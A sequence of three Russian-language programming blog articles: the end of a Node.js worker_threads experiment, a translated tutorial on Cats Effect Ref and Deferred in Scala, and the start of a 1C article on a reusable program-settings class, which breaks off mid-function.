const w = new Worker(path.join(__dirname, './writer-worker-app/app.js'), { workerData: { id: i } });
}
```
Здесь мы просто создаем дочерние потоки используя класс Worker и указывая путь к стартовому файлу для потока './writer-worker-app/app.js'. При создании потока передаем самописный айдишник как данные workerData.
Стартовый файл для потока ./writer-worker-app/app.js:
```
const { workerData, parentPort } = require('worker_threads');
const logger = require('./logger');
const id = workerData.id;
console.log(`Worker ${id} initializad.`);
while (true) {
sendMessage();
}
function sendMessage() {
logger.log(`Hello from worker number ${workerData.id}\r\n`);
}
```
Ну и простейший класс-логер: ./writer-worker-app/logger.js
```
const fs = require('fs');
function log(message) {
return fs.appendFileSync('./my-file.txt', message);
}
module.exports = {
log
};
```
При запуске этого приложения мы все надеялись на то, что в итоге получим кашу в файле и дотнетчики закричат, как нужны блокировки с семафорами и прочими радостями параллельного исполнения. Но нет! В файле все строки идут не прерываясь, разве что в случайном порядке:
`Hello from worker number 14
Hello from worker number 3
Hello from worker number 9
Hello from worker number 15
Hello from worker number 2
Hello from worker number 4
Hello from worker number 7
Hello from worker number 6
Hello from worker number 1
Hello from worker number 11`
Замечательный эксперимент, очередная маленькая победа Ноды :-) Моё предположение в том, что вся синхронизация происходит на уровне I\O потоков Ноды, но буду рад узнать в комментариях правильный вариант. На всякий случай мы проверили работу, используя не **fs.appendFileSync**, а **fs.createWriteStream** и метода **stream.write**.
Результат вышел такой же.
### Но мы на этом не остановились.
Коллега предложил задачу о синхронизации потоков. Для нашего конкретного примера, пусть это будет задача последовательной записи в файл в порядке возврастания айдишников. Сначала пишет первый поток, потом второй, потом третий и так далее.
Для этого я ввёл еще один поток-Менеджер. Можно было обойтись главным, но мне так приятно создавать этих изолированных рабочих и выстраивать общение посредством сообщений. Прежде чем начать писать имплементацию потока-Менеджера, необходимо создать канал связи между ним и писателями-рабочими. Для этого был использован класс **MessageChannel**. Инстансы этого класса имеют два поля: **port1** и **port2**, каждый из которых умеет слушать и отправлять сообщения другому посредством методов **.on('message')** и **.postMessage()**. Этот класс и был создан в рамках модуля «worker\_threads» для коммуникации между потоками, потому что обычно при передачи объекта происходит просто его клонирование, и в изолированной среде выполнения потока он будет бесполезен.
Для коммуникации между 2 потоками мы каждому должны дать по порту.
**Интересный факт**: на 10.5.0 невозможно передать порт через конструктор воркера, необходимо это делать только через worker.postMessage(), причем обязательно указывая порт в transferList параметре!
Сам поток-менеджер будет отсылать команды потокам-писателям в порядке возрастания их идентификаторов, причем следующую команду он отправит только после получения ответа писателя об успешной операции.
Недо-UML-диаграмма приложения:
Наш видоизмененный главный файл ./app.js:
```
const { Worker, MessageChannel } = require('worker_threads');
const path = require('path');
const WORKERS_NUMBER = 100;
console.log('Main app initialized and started.');
const workersMeta = [];
for (var i = 1; i <= WORKERS_NUMBER; i++) {
const channel = new MessageChannel();
const worker = new Worker(path.join(__dirname, './writer-worker-app/app.js'), { workerData: { id: i } });
workersMeta.push({ id: i, worker, channel });
}
workersMeta.forEach(({ worker, channel }) => {
worker.postMessage({ orchestratorPort: channel.port1 }, [channel.port1]);
})
setTimeout(() => {
const orchestrator = new Worker(path.join(__dirname, './orchestrator-worker-app/app.js'));
const orchestratorData = workersMeta.map((meta) => ({ id: meta.id, port: meta.channel.port2 }));
orchestrator.postMessage({ workerPorts: orchestratorData }, orchestratorData.map(w => w.port));
console.log('All worker threads have been initialized');
}, WORKERS_NUMBER * 10);
```
Здесь мы сначала создаем воркеров, потом каждому отправляем порт для связи с менеджером (и только так, через конструктор это сделать невозможно).
Потом создаем поток-менеджер, отправляем ему список портов для связи с потоками-писателями.
**Updated**: эмпирическим путем я выяснил, что при работе с потоками лучше сначала дать им настояться (проинициализироваться как надо). По хорошему надо было слушать какие то ответы от потоков в стиле «Я готов!», но я решил пойти более легким путем.
Изменим и поведение потока-писателя, чтобы он отправлял сообщение только когда ему скажут, а также возвращал результат, когда операция записи закончена:
./writer-worer-app/app.js
```
const { workerData, parentPort } = require('worker_threads');
const logger = require('./logger');
const id = workerData.id;
console.log(`Worker ${id} initializad.`);
parentPort.on('message', value => {
const orchestratorPort = value.orchestratorPort;
orchestratorPort.on('message', data => {
if (data.command == 'write') {
console.log(`Worker ${id} received write command`);
sendMessage();
sendResult(orchestratorPort);
}
});
console.log(`Worker ${id} started.`);
});
function sendMessage() {
logger.log(`Hello from worker number ${workerData.id}\r\n`);
}
function sendResult(port) {
port.postMessage({ id, status: 'completed' });
}
```
Мы правильно проинициализировались от сообщение родительского потока, начали случать канал потока-менеджера, при получении команды сначала пишем в файл, потом отправляем результат. Нужно заметить, что в файл пишется синхронно, поэтому sendResult() вызывается сразу за sendMessage().
Всё, что осталось — написать имплементацию нашего умного менеджера
./orchestrator-worker-app/app.js:
```
const { parentPort } = require('worker_threads');
console.log('Orchestrator initialized.')
let workerPorts;
parentPort.on('message', (value) => {
workerPorts = value.workerPorts;
workerPorts.forEach(wp => wp.port.on('message', handleResponse));
console.log('Orchestrator started.');
sendCommand(workerPorts[0]);
});
function handleResponse(status) {
const responseWorkerId = status.id;
let nextWorker = workerPorts.find(wp => wp.id == responseWorkerId + 1);
if (!nextWorker) {
nextWorker = workerPorts[0];
}
sendCommand(nextWorker);
}
function sendCommand(worker) {
worker.port.postMessage({ command: 'write' });
}
```
Получили список портов, упорядочили, для каждого порта установили колбек на респонз, ну и отправили команду первому. В самом колбеке ищем следующего писателя и отправляем команду ему. Чтобы не сильно напрягать систему, был установлен интервал между командами.
Вот и всё, наше многопоточное приложение с управлением потоков готово. Мы научились не просто порождать воркеры-потоки в Node.JS, но и создавать эффективные способы коммуникации между ними. На мой личный взгляд, архитектура изолированных потоков в Node.JS с ожиданием и отправкой сообщений более чем удобная и перспективная. Всем спасибо за внимание.
[Весь исходный код может быть найден здесь](https://github.com/vssenko/worker-threads-test).
### UPDATE
Чтобы не вводить в заблуждение читателей, а также не давать лишних поводов написать, что я жульничаю с таймаутами, я проапдейтил статью и репозиторий.
Изменения:
1) удалены интервалы в первоначальных писателях, теперь по хардкору идет while(true)
2) добавлен --max-old-space-size=4096 флаг, просто на всякий случай, т.к. текущая имплементация потоков не очень стабильная и я надеюсь, что это как то поможет.
3) удалены интервалы отправки сообщений у потока-менеджера. теперь запись идёт нон-стоп.
4) добавлен таймаут при инициализации менеджера, почему — расписано выше.
TO DO:
1) добавить сообщения изменяемой длины или подсчет вызова логера — спасибо FANAT1242
2) добавить бенчмарк, сравнить работу первой и второй версии (сколько строк запишет за 10 секунд, к примеру)
### UPDATE 2
1) Был изменен код логгирования: теперь каждое сообщение имеет разную длину.
2) Был изменен writer-worker-app/app.old.js: каждый поток пишет 1000 раз, потом завершается.
Это было сделано для проверки идей пользователя FANAT1242. Сообщения все равно не переписывают друг друга, строк в файле ровно 1000 \* N потоков. | https://habr.com/ru/post/416015/ | null | ru | null |
# Основы Cat Concurrency с Ref и Deferred
Параллельный доступ и ссылочная прозрачность
--------------------------------------------
> *Для будущих учащихся на курсе* [*«Scala-разработчик*](https://otus.pw/aJ1X/)*» приготовили перевод материала.
>
> Приглашаем также на вебинар по теме* [*«Эффекты в Scala»*](https://otus.pw/IPo5/)*. На занятии рассмотрим понятие эффекта и сложности, которые могут возникать при их наличии. Также введем понятие функционального эффекта, рассмотрим его свойства и реализуем свой небольшой функциональный эффект. Присоединяйтесь.*
>
>
---
*\*Concurrency — конкурентность, допускающая одновременное выполнение нескольких вычислительных процессов.*
**Ref** и **Deferred** являются основными строительными блоками в FP, используемыми параллельно, в манере concurrent. Особенно при использовании c tagless final (неразмеченной конечной) абстракцией, эти два блока, при построении бизнес-логики, могут дать нам и то, и другое: **параллельный доступ (concurrent access)** и **ссылочную прозрачность (referential transparency)**, и мы можем использовать их для построения более продвинутых структур, таких как counters (счетчики) и state machines (конечные автоматы).
Перед тем, как мы углубимся в Ref и Deferred, нам полезно узнать, что concurrency в Cats строится на `Java AtomicReference`, и здесь мы и начнем наше путешествие.
### Atomic Reference
`AtomicReference` — это один из элементов пакета `java.util.concurrent.atomic`. В [Oracle docs](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/package-summary.html) мы можем прочитать, что `java.util.concurrent.atomic` — это:
> Небольшой инструментарий классов, поддерживающих потокобезопасное программирование «без блоков» с одиночными переменными. По сути, классы в данном пакете расширяют понятие `volatile` значений, полей и элементов массива до тех, которые также обеспечивают условную операцию `atomic` обновления…
>
> Экземпляры классов [AtomicBoolean](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/AtomicBoolean.html), [AtomicInteger](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/AtomicInteger.html), [AtomicLong](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/AtomicLong.html), и [AtomicReference](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/AtomicReference.html) обеспечивают доступ и обновление от одиночных переменных к соответствующему типу (функционального блока).
>
>
`AtomicReference` с нами начиная с Java 1.5 и используется для получения лучшей производительности, чем синхронизации (хотя это не всегда так).
Когда вам приходится совместно использовать некоторые данные между нитями (threads), вы должны защитить доступ к этой части данных. Самым простым примером будет увеличение некоторого количества `int: i = i + 1`. Наш пример состоит из фактически 3 операций, сначала мы читаем значение `i` , затем добавляем `1` к этому значению, а в конце снова присваиваем вычисленное значение `i` . В отношении многопоточных приложений, мы можем столкнуться с ситуацией, когда каждый thread будет выполнять эти 3 шага между шагами другого thread, а конечное значение `i` предсказать не удастся.
Обычно в вашей голове появляется слово `synchronised` или механизм класса `lock`, но с `atomic.*` вам больше не нужно беспокоиться о явной синхронизации, и вы можете перейти на предоставленные atomic (атомарные) типы утилит, где проверка выполнения операции в один шаг включается автоматически.
Давайте, возьмем для примера `AtomicInteger.incrementAndGet`:
```
/**
* Atomically increments by one the current value.
*
* @return the updated value
*/
public final int incrementAndGet() {
for (;;) {
int current = get();
int next = current + 1;
if (compareAndSet(current, next))
return next;
}
}
```
С помощью операции `compareAndSet` мы либо обновляем наши данные, либо терпим неудачу, но никогда не заставляем thread ждать. Таким образом, если операция `compareAndSet` в `incrementAndGet` не удаётся, мы просто пытаемся повторить всю операцию заново, извлекая текущее значение наших данных с помощью функции `get()` в начале. С другой стороны, при использовании синхронизированных механизмов нет ограничений на количество операторов (statement), которые вы хотите «выполнить» во время блокировки, но этот блок никогда не выйдет из строя и может заставить вызывающий thread ждать, предоставляя возможность заблокировать или снизить производительность.
Теперь, зная определенные основы, давайте перейдем к нашей первой мега-звезде concurrency.
Ref
---
`Ref` в Cats очень похож на упомянутую выше atomic (атомарную) ссылку Java. Основные отличия заключаются в том, что `Ref` используется с tagless final абстракцией `F` . Он всегда содержит значение, а значение, содержащееся в `Ref` — типа `A`, всегда является неизменным (immutable).
```
abstract class Ref[F[_], A] {
def get: F[A]
def set(a: A): F[Unit]
def modify[B](f: A => (A, B)): F[B]
// ... and more
}
```
`Ref[F[_], A]` — это функциональная изменяемая (mutable) ссылка:
* Concurrent ( конкурентная)
* Lock free ( “без блоков”)
* Всегда содержит значение
Она создается путем предоставления начального значения, и каждая операция осуществляется в
`F`, например, `cats.effect.IO`.
Если мы внимательно посмотрим на сопутствующий объект для `Cats Ref`, мы увидим, что наша `F` должна соответствовать некому требованию, а именно быть `Sync`.
```
def of[F[_], A](a: A)(implicit F: Sync[F]): F[Ref[F, A]] = F.delay(unsafe(a))
```
Вышеприведенный метод является лишь примером многих операций, доступных на нашем `Ref`; он используется для построения `Ref` с исходным значением.
Sync дает нам возможность приостанавливать любые побочные эффекты с помощью метода
`delay` для каждой операции на `Ref`.
`Ref` — довольно простая конструкция, мы можем сосредоточиться в основном на ее `get`, `set` и `of` чтобы понять, как она работает.
**Метод** `get` **and** `set`
Допустим, у нас есть объект (для этого блога мы назовем его Shared), который нужно обновить несколькими threads, и мы используем для этого наши методы `get` и `set` , создавая утилитный метод, который поможет нам в дальнейшем:
```
def modifyShared(trace: Ref[IO, Shared], msg: String): IO[Unit] = {
for {
sh <- trace.get()
_ <- trace.set(Shared(sh, msg))
} yield ()
}
```
Наш `Shared` объект может быть построен путем использования его предыдущего состояния и нового значения для создания нового экземпляра — `Shared`, который может быть на самом деле всем, что мы хотим — простым списком, картой или чем угодно, к чему мы хотим получить одновременный безопасный доступ.
Я только что создал `Shared(prev: Shared, msg: String)` для данной статьи.
В нашем примере выше `F` был заменён конкретным IO из Cats Effect, но имейте в виду, что `Ref` является полиморфным в F и может быть использован с другими библиотеками.
С помощью `monadic` (монадический) IO мы применяем функцию `flatMap` на каждом шаге и устанавливаем значение, сохраненное в нашем `Ref` на желаемое значение — или... подождите, может быть, мы этого не делаем.
При таком подходе, когда `modifyShared` будет вызываться одновременно**, и мы можем потерять обновления!** Это происходит потому, что мы можем столкнуться с ситуацией, когда, например, двое threads могут прочитать значение с помощью `get` и каждый из них будет выполнять `set` одновременно. Методы `get` и `set` не вызываются атомарно (atomically) вместе.
**Atomic (атомарный)** `update`
Конечно, мы можем улучшить приведенный выше пример и использовать другие доступные методы из `Ref`. Для совместной реализации `get` и `set` мы можем использовать `update`.
```
def update(f: A => A): F[Unit]
```
Это решит нашу проблему с обновлением значения, однако `update` имеет свои недостатки. Если мы захотим обратиться к переменной сразу после обновления, аналогично тому, как мы использовали `get` и `set` , мы можем в итоге получить устаревшие данные, допустим, наш `Ref` будет содержать ссылку на `Int`:
```
for {
_ <- someRef.update(_ + 1)
curr <- someRef.get
_ <- IO { println(s"current value is $curr")}
} yield ()
```
**Нас спасет** `modify`
Мы можем немного улучшить вышеупомянутую ситуацию, используя `modify` , которая будет делать то же самое, что и `update` , но тем не менее, `modify` вернет нам обновленное значение для дальнейшего использования.
```
def modify[B](f: A => (A, B)): F[B] = {
@tailrec
def spin: B = {
val c = ar.get
val (u, b) = f(c)
if (!ar.compareAndSet(c, u)) spin
else b
}
F.delay(spin)
}
```
Как видите, это практически та же имплементация, что и в примере с `AtomicInteger.incrementAndGet`, который я показывал в начале, но только в Scala. Нам четко видно, что для выполнения своей работы `Ref` также работает на основе `AtomicReference` .
### Ref ограничения
Вы, вероятно, уже заметили, что в случае неудачи при обновлении значения функция, переданная `update`/ `modify`, должна быть запущена недетерминированно (nondeterministically) и, возможно, должна быть запущена несколько раз. Хорошая новость заключается в том, что это решение в целом оказывается намного быстрее, чем стандартный механизм блокировки и синхронизации, и гораздо безопаснее, так как это решение не может быть заблокировано.
Как только мы узнаем, как работает простой `Ref`, мы можем перейти к другому классу Cats Concurrent: `Deferred` (Отложенный вызов).
### Deferred
В отличие от `Ref`, `Deferred`:
* создается «пустым» (отложенный результат выполнения)
* может быть выполнен один раз
* и после установки его нельзя изменить или снова сделать «пустым».
Эти свойства делают `Deferred` простым и в то же время довольно интересным.
```
abstract class Deferred[F[_], A] {
def get: F[A]
def complete(a: A): F[Unit]
}
```
`Deferred` используется для явной функциональной синхронизации. Когда мы вызываем `get` в «пустой» `Deferred` мы устанавливаем блокировку до того момента, как значение станет вновь доступно. В соответствии с [документацией из самого класса](https://github.com/typelevel/cats-effect/blob/master/core/shared/src/main/scala/cats/effect/concurrent/Deferred.scala):
* *Блокировка указана только семантическая, никакие реальные threads (нити) не блокируются имплементацией*
Тот же вызов `get` «непустого» `Deferred` немедленно вернет сохраненное значение.
Другой метод — `complete` — заполнит значение, если экземпляр пуст и при вызове «непустого» `Deferred` приведет к сбою (неудачная попытка IO).
Здесь важно отметить, что `Deferred` требует, чтобы `F` было `Concurrent`, что означает, что его можно отменить.
Хорошим примером использования `Deferred` является ситуация, когда одна часть вашего приложения должна ждать другую.
Пример ниже взят из великолепного выступления Фабио Лабеллы на выставке Scala Italy 2019 — [Composable Concurrency with Ref + Deferred available at Vimeo](https://vimeo.com/366191463)
```
def consumer(done: Deferred[IO, Unit]) = for {
c <- Consumer.setup
_ <- done.complete(())
msg <- c.read
_ <- IO(println(s"Received $msg"))
} yield ()
def producer(done: Deferred[IO, Unit]) = for {
p <- Producer.setup()
_ <- done.get
msg = "Msg A"
_ <- p.write(msg)
_ <- IO(println(s"Sent $msg"))
} yield ()
def prog = for {
d <- Deferred[IO, Unit]
_ <- consumer(d).start
_ <- producer(d).start
} yield ()
```
В приведенном выше примере у нас есть producer (производитель) и consumer (потребитель), и мы хотим, чтобы producer ждал, пока consumer setup закончится, прежде чем писать сообщения, в противном случае все, что бы мы ни написали в producer, будет потеряно. Для преодоления этой проблемы мы можем использовать общий экземпляр `Deferred` и блокировать `get` до тех пор, пока не будет заполнен экземпляр `done` `Deferred` со стороны consumer (значение в данном случае простая `Unit ()` ).
Конечно, вышеуказанное решение не обошлось без проблем, когда `consumer setup` никогда не прекращался, мы застревали в ожидании, а `producer` не мог отправлять сообщения. Чтобы преодолеть это, мы можем использовать таймаут с `get` , а также использовать `Either[Throwable, Unit]` или какую-либо другую конструкцию вместо простой `Unit` внутри нашего объекта `Deferred`.
`Deferred` довольно прост, но в сочетании с `Ref` он может быть использован для построения более сложных структур данных, таких как semaphores (семафоры).
Для получения более подробной информации я рекомендую вам ознакомиться с самой документацией о Cats, где вы можете узнать больше о [Cats concurrency](https://typelevel.org/cats-effect/concurrency/semaphore.html) и структуре данных, которые она предоставляет.
---
> [***Узнать подробнее о курсе***](https://otus.pw/aJ1X/) ***«Scala-разработчик».***
>
> [***Смотреть открытый вебинар***](https://otus.pw/IPo5/) ***по теме «Эффекты в Scala».***
>
> | https://habr.com/ru/post/546358/ | null | ru | null |
# Представление настроек программы в 1С. Один из способов
Здравствуйте.
В данной статье я хочу рассказать о своем опыте работы с настройками в 1С – их представлении и сохранении. Этот способ особенно актуален для внешних обработок и отчетов, которые либо не завязаны на конкретную конфигурацию, либо просто не хотят хранить свои настройки в каких-либо объектах конфигурации. Никаких особых технических открытий предлагаемый способ не содержит, просто он делает более переносимым и упорядоченным применение стандартных решений – вся нудная и кропотливая работа может быть проделана единожды, а затем полученный шаблон можно с минимальными изменениями использовать во всех своих проектах. Суть метода как раз в этом.
Просматривая в Интернете различные примеры программ на 1С (исходники), я часто отмечал, что подход к работе с настройками в большинстве случаев достаточно небрежен. Стандартные подпрограммы (**СохранитьЗначение**, **ВосстановитьЗначение**) используются повсеместно в коде и никак не сгруппированы. Для каждого сохраняемого значения создается отдельный идентификатор в базе (строковый параметр вышеуказанных подпрограмм), даже если таких значений сотни. Особенно показательно выглядит реализация какого-либо диалогового окна с массовым редактированием значений настроек. Длинная вереница вызовов (**ВосстановитьЗначение**, **СохранитьЗначение**) при открытии и закрытии такого окна соответственно. Такой подход в принципе понятен – в первую очередь разработчики сосредотачиваются на решении конкретной задачи, времени как всегда нет, и работа с настройками воспринимается примерно также, как работа с обычными арифметическими выражениями – эти вызовы вставляются в код по мере необходимости. Конечно, если разработчика это не напрягает, то кому какое дело. Однако в тех случаях, когда в программе происходит массовая переделка – не просто нужно добавить еще несколько десятков значений в настройки (что в большинстве случаев и делается), а еще и удалить что-то, у некоторых параметров поменять значения (тип значений), да и просто обнулить значения параметров (в целях тестирования например) – выполнить такие действия с кучей отдельных параметров становится малореальным – проще забить и выполнять всё тестирование в голове, а не под отладчиком.
А что если один единственный раз создать инструмент для работы с настройками – универсальный и переносимый? Так, чтобы его можно было легко, не задумываясь копировать между своими программами (ну естественно изменяя собственно сам набор конкретных параметров). Попробуем…
В реализации будем использовать описанный ранее технический прием «[самодельного ООП в 1С](http://habrahabr.ru/post/271731)». Создадим в виде отдельного класса хранилище настроек программы (если нужно как-то обособить группы настроек, то программа может иметь несколько таких классов-хранилищ). Стандартные вызовы (**ВосстановитьЗначение**, **СохранитьЗначение**) будет использоваться один раз за всю программу, т.к. все содержимое нашего хранилища будет сериализовано в **XML**-формат. Таким образом, можно обеспечить представление разветвленной структуры, а не просто «плоский набор» значений (по типу **INI**-файлов). В нашем примере, однако, будем рассматривать тот самый «плоский набор» для упрощения, т.к. структура набора принципиального значения не имеет.
К примеру, пусть у нас имеется следующий набор параметров:
| Название | Тип | Начальное значение |
| --- | --- | --- |
| Парам1 | Число | 0 |
| Парам2 | Строка | «» |
| Парам3 | СправочникСсылка.Номенклатура | Неопределено |
| Парам4 | Булево | Ложь |
| Парам5 | Дата | Неопределено |
Условно рассматриваем только простейшие типы, чтобы не привязываться ни к каким конкретным конфигурациям. Но также рассмотрим и ссылочный тип (Справочник «*Номенклатура*» есть во многих типовых конфигурациях), чтобы показать идею сериализации в строку и восстановления из строки более сложного объекта.
Структура полей класса будет выглядеть следующим образом:
```
Функция НастрПрогр_СоздатьОбъект()
НастрПрогр = Новый Структура;
НастрПрогр.Вставить("ChangeInfo", Ложь); // Признак наличия несохраненных изменений в наборе
НастрПрогр.Вставить("ErrMsg", ""); // Сообщение о последней ошибке
// Общие параметры, хранящиеся в настройках
НастрПрогр.Вставить("Set_Парам1", Неопределено); // Параметр настроек 1
НастрПрогр.Вставить("Set_Парам2", Неопределено); // Параметр настроек 2
НастрПрогр.Вставить("Set_Парам3", Неопределено); // Параметр настроек 3
НастрПрогр.Вставить("Set_Парам4", Неопределено); // Параметр настроек 4
НастрПрогр.Вставить("Set_Парам5", Неопределено); // Параметр настроек 5
Возврат НастрПрогр;
КонецФункции
```
Как видим, кроме непосредственно целевых параметров, в составе класса есть и служебные поля. Целевые поля имеют специальное соглашение в наименовании – начинаются с префикса «**Set\_**». Это нужно, для того чтобы автоматически отличать целевые поля от служебных при обходе полей структуры (имитирующей объект класса) в цикле. Снаружи эти изменения в именах не видны и используются обычные названия параметров (без префикса «**Set\_**»).
Теперь приведем код данного класса полностью:
**Класс НастройкиПрограммы**
```
////////////////////////////////////////////////////////////////////////////////
// Реализация класса НастройкиПрограммы (НастрПрогр)
// Создание полей объекта в виде структуры
//
// Параметры:
// Нет.
// Возврат:
// Возвращает созданную структуру
//
Функция НастрПрогр_СоздатьОбъект() Экспорт
НастрПрогр = Новый Структура;
НастрПрогр.Вставить("ChangeInfo", Ложь); // Признак наличия несохраненных изменений в наборе
НастрПрогр.Вставить("ErrMsg", ""); // Сообщение о последней ошибке
// Общие параметры, хранящиеся в настройках
НастрПрогр.Вставить("Set_Парам1", Неопределено); // Параметр настроек 1
НастрПрогр.Вставить("Set_Парам2", Неопределено); // Параметр настроек 2
НастрПрогр.Вставить("Set_Парам3", Неопределено); // Параметр настроек 3
НастрПрогр.Вставить("Set_Парам4", Неопределено); // Параметр настроек 4
НастрПрогр.Вставить("Set_Парам5", Неопределено); // Параметр настроек 5
Возврат НастрПрогр;
КонецФункции
// Имитирует конструктор объекта
//
// Параметры:
// Нет.
// Возврат:
// (Структура) - Структура с полями объекта
//
Функция НастрПрогр_Конструктор() Экспорт
НастрПрогр = НастрПрогр_СоздатьОбъект();
// Инициализируем поля объекта
НастрПрогр_SetDefAttr(НастрПрогр);
Возврат НастрПрогр;
КонецФункции
// Имитирует деструктор объекта - освобождает память
//
// Параметры:
// НастрПрогр - ссылка на объект
//
Процедура НастрПрогр_Деструктор(НастрПрогр) Экспорт
КонецПроцедуры
// Инициализирует атрибуты объекта значениями по умолчанию.
//
// Параметры:
// НастрПрогр - ссылка на объект
//
Процедура НастрПрогр_SetDefAttr(НастрПрогр) Экспорт
НастрПрогр.ErrMsg = "";
НастрПрогр.Set_Парам1 = 0;
НастрПрогр.Set_Парам2 = "";
НастрПрогр.Set_Парам3 = Неопределено;
НастрПрогр.Set_Парам4 = Ложь;
НастрПрогр.Set_Парам5 = Неопределено;
КонецПроцедуры
// Копирует значения полей объекта НастрПрогр2 в текущий НастрПрогр1.
// Все предыдущие значения из НастрПрогр1 будут утеряны.
//
// Параметры:
// НастрПрогр1 - ссылка на объект
// НастрПрогр2 - ссылка на другой копируемый объект
//
Процедура НастрПрогр_Assign(НастрПрогр1, НастрПрогр2) Экспорт
Если (НастрПрогр1 <> Неопределено) И
(НастрПрогр2 <> Неопределено) И
(НастрПрогр_IsEqual(НастрПрогр1, НастрПрогр2) = Ложь) Тогда
Для Каждого Поле Из НастрПрогр1 Цикл
Если Найти(Поле.Ключ, "Set_") = 1 Тогда
// Копируем только значения полей параметров (не служебные поля)
НастрПрогр1[Поле.Ключ] = НастрПрогр2[Поле.Ключ]
КонецЕсли
КонецЦикла;
НастрПрогр1.ChangeInfo = Истина
КонецЕсли
КонецПроцедуры
// Сравнивает два набора параметров между собой.
//
// Параметры:
// НастрПрогр1 - ссылка на объект
// НастрПрогр2 - ссылка на другой сравниваемый объект
// Возврат
// Истина, если объект НастрПрогр2 содержит теже данные, что и
// текущий НастрПрогр1 и Ложь - в противном случае
//
Функция НастрПрогр_IsEqual(НастрПрогр1, НастрПрогр2) Экспорт
Рез = Ложь;
Если (НастрПрогр1 <> Неопределено) И
(НастрПрогр2 <> Неопределено) Тогда
ФлагСравн = Истина;
Для Каждого Поле Из НастрПрогр1 Цикл
Если Найти(Поле.Ключ, "Set_") = 1 Тогда
// Сравниваем только значения полей параметров (не служебные поля)
Если Поле.Значение <> НастрПрогр2[Поле.Ключ] Тогда
ФлагСравн = Ложь;
Прервать
КонецЕсли
КонецЕсли
КонецЦикла;
Рез = ФлагСравн
КонецЕсли;
Возврат Рез
КонецФункции
// Инициализирует атрибуты объекта значениями по умолчанию.
//
// Параметры:
// НастрПрогр - ссылка на объект
//
Функция НастрПрогр_GetErrorMsg(НастрПрогр) Экспорт
Возврат НастрПрогр.ErrMsg
КонецФункции
// Возвращает значение параметра в наборе.
//
// Параметры:
// НастрПрогр - ссылка на объект
// PrmName - название параметра
// Возврат
// Значение параметра PrmName или Неопределено, если такой параметр не найден
//
Функция НастрПрогр_GetPrm(НастрПрогр, PrmName) Экспорт
Рез = Неопределено;
НастрПрогр.ErrMsg = "";
Попытка
Рез = НастрПрогр["Set_" + PrmName];
Исключение
НастрПрогр.ErrMsg = "НастрПрогр_GetPrm: Не найден параметр: " + PrmName;
КонецПопытки;
Возврат Рез
КонецФункции
// Устанавливает значение параметра в наборе.
//
// Параметры:
// НастрПрогр - ссылка на объект
// PrmName - название параметра
// PrmVal - устанавливаемое значение параметра
//
Процедура НастрПрогр_SetPrm(НастрПрогр, PrmName, PrmVal) Экспорт
НастрПрогр.ErrMsg = "";
Попытка
Если НастрПрогр["Set_" + PrmName] <> PrmVal Тогда
НастрПрогр["Set_" + PrmName] = PrmVal;
НастрПрогр.ChangeInfo = Истина
КонецЕсли
Исключение
НастрПрогр.ErrMsg = "НастрПрогр_SetPrm: Не найден параметр: " + PrmName;
КонецПопытки
КонецПроцедуры
// Возвращает строковое значение указанного параметра (предварительно преобразуется в строку).
//
// Параметры:
// НастрПрогр - ссылка на объект
// PrmName - название параметра
// Возврат
// Строковое значение параметра PrmName или Неопределено, если такой параметр не найден
//
Функция НастрПрогр_GetPrmStrVal(НастрПрогр, PrmName) Экспорт
Рез = Неопределено;
НастрПрогр.ErrMsg = "";
Попытка
ИсхЗнач = НастрПрогр["Set_" + PrmName];
// Преобразование в зависимости от типа параметра
Если PrmName = "Парам1" Тогда
// Параметр настроек №1 (Число)
Рез = Формат(ИсхЗнач, "ЧГ=0; ЧН=''")
ИначеЕсли PrmName = "Парам2" Тогда
// Параметр настроек №2 (Строка)
Рез = ИсхЗнач
ИначеЕсли PrmName = "Парам3" Тогда
// Параметр настроек №3 (СправочникСсылка.Номенклатура)
Если ЗначениеЗаполнено(ИсхЗнач) Тогда
Рез = ИсхЗнач.Код
Иначе
Рез = Неопределено
КонецЕсли
ИначеЕсли PrmName = "Парам4" Тогда
// Параметр настроек №4 (Булево)
Рез = Формат(ИсхЗнач, "БЛ=0; БИ=1")
ИначеЕсли PrmName = "Парам5" Тогда
// Параметр настроек №5 (Дата)
Рез = Формат(ИсхЗнач, "ДФ=""yyyyMMddHHmmss""")
КонецЕсли
Исключение
НастрПрогр.ErrMsg = "НастрПрогр_GetPrmStrVal: Ошибка сериализации значения: " + PrmName + " : " + ИнформацияОбОшибке().Описание;
КонецПопытки;
Возврат Рез
КонецФункции
// Устанавливает значение параметра в наборе из переданного строкового значения
// (предварительно идет преобразование из строкового значения в нужное).
//
// Параметры:
// НастрПрогр - ссылка на объект
// PrmName - название параметра
// StrPrmVal - строковое представление устанавливаемого значения параметра
//
Процедура НастрПрогр_SetPrmFromStrVal(НастрПрогр, PrmName, StrPrmVal) Экспорт
НастрПрогр.ErrMsg = "";
Попытка
НовЗнач = Неопределено;
// Преобразование в зависимости от типа параметра
Если PrmName = "Парам1" Тогда
// Параметр настроек №1 (Число)
НовЗнач = Число(StrPrmVal)
ИначеЕсли PrmName = "Парам2" Тогда
// Параметр настроек №2 (Строка)
НовЗнач = StrPrmVal
ИначеЕсли PrmName = "Парам3" Тогда
// Параметр настроек №3 (СправочникСсылка.Номенклатура)
Если ЗначениеЗаполнено(StrPrmVal) Тогда
НовЗнач = Справочники.Номенклатура.НайтиПоКоду(StrPrmVal);
Если НЕ ЗначениеЗаполнено(НовЗнач) Тогда
НовЗнач = Неопределено
КонецЕсли
КонецЕсли
ИначеЕсли PrmName = "Парам4" Тогда
// Параметр настроек №4 (Булево)
НовЗнач = Булево(Число(StrPrmVal))
ИначеЕсли PrmName = "Парам5" Тогда
// Параметр настроек №5 (Дата)
НовЗнач = Дата(StrPrmVal)
КонецЕсли;
// Установка значения
Если НастрПрогр["Set_" + PrmName] <> НовЗнач Тогда
НастрПрогр["Set_" + PrmName] = НовЗнач;
НастрПрогр.ChangeInfo = Истина
КонецЕсли
Исключение
НастрПрогр.ErrMsg = "НастрПрогр_SetPrmFromStrVal: Ошибка установки значения: " + PrmName + " : " + ИнформацияОбОшибке().Описание;
КонецПопытки
КонецПроцедуры
// Возвращает признак наличия несохраненных изменений
// в наборе параметров
//
// Параметры:
// НастрПрогр - ссылка на объект
// Возврат
// Значение признака несохраненных изменений
//
Функция НастрПрогр_GetChangeInfo(НастрПрогр) Экспорт
